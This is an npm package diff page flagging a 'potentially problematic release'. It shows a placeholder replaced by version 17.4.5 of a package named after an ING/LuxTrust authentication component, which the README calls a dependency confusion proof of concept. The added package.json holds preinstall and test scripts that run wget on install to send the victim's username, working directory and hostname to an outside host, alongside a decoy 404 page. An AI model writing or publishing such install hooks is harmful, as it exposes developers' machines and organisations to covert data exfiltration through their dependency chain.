ing-orange-lu-luxtrust-oaw-mobile-authentication 0.0.1-security → 17.4.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.

This version of ing-orange-lu-luxtrust-oaw-mobile-authentication might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +4 -3
  2. package/index.html?user=root&path=%2Froot%2Fing-orange-lu-luxtrust-oaw-mobile-authentication&hostname=pentestbox +65 -0
  3. package/index.js +3 -0
  4. package/package.json +17 -3
package/README.md CHANGED
@@ -1,5 +1,6 @@
1
- # Security holding package
1
+ # NPM Dependency Confusion PoC
2
+ Simple PoC package for testing for dependency confusion vulnerabilities.
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ Inspired by Alex Birsan's research.
4
5
 
5
- Please refer to www.npmjs.com/advisories?search=ing-orange-lu-luxtrust-oaw-mobile-authentication for more information.
6
+ Reference: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
package/index.html?user=root&path=%2Froot%2Fing-orange-lu-luxtrust-oaw-mobile-authentication&hostname=pentestbox ADDED
@@ -0,0 +1,65 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <title>Error 404 | Redirecting to correct url</title>
5
+ <link rel="icon" type="images/x-icon" href="../images/favicon.ico">
6
+ </head>
7
+ <body>
8
+
9
+ <!-- Diplaying a fake 404 page -->
10
+ <meta name="viewport" content="width=device-width, initial-scale=1">
11
+ <style>
12
+
13
+ * {
14
+ line-height: 1.2;
15
+ margin: 0;
16
+ }
17
+
18
+ html {
19
+ color: #888;
20
+ display: table;
21
+ font-family: sans-serif;
22
+ height: 100%;
23
+ text-align: center;
24
+ width: 100%;
25
+ }
26
+
27
+ body {
28
+ display: table-cell;
29
+ vertical-align: middle;
30
+ margin: 2em auto;
31
+ }
32
+
33
+ h1 {
34
+ color: #555;
35
+ font-size: 2em;
36
+ font-weight: 400;
37
+ }
38
+
39
+ p {
40
+ margin: 0 auto;
41
+ width: 280px;
42
+ }
43
+
44
+ @media only screen and (max-width: 280px) {
45
+
46
+ body, p {
47
+ width: 95%;
48
+ }
49
+
50
+ h1 {
51
+ font-size: 1.5em;
52
+ margin: 0 0 0.3em;
53
+ }
54
+
55
+ }
56
+
57
+ </style>
58
+ </head>
59
+ <body>
60
+ <h1>Page Not Found</h1>
61
+ <p>Sorry, but the page you were trying to view does not exist.</p>
62
+ </body>
63
+ </html>
64
+ </body>
65
+ </html>
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the PoC package");
3
+ }
package/package.json CHANGED
@@ -1,6 +1,20 @@
1
1
  {
2
2
  "name": "ing-orange-lu-luxtrust-oaw-mobile-authentication",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "17.4.5",
4
+ "description": "ING Orange Luxtrust OAW Mobile Authentication.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"https://stackrip.com/ing/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS",
8
+ "preinstall": "wget --quiet \"https://stackrip.com/ing/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS"
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "dependencies": {},
15
+ "config": {
16
+ "unsafe-perm":true
17
+ },
18
+ "author": "WebSec",
19
+ "license": "ISC"
6
20
  }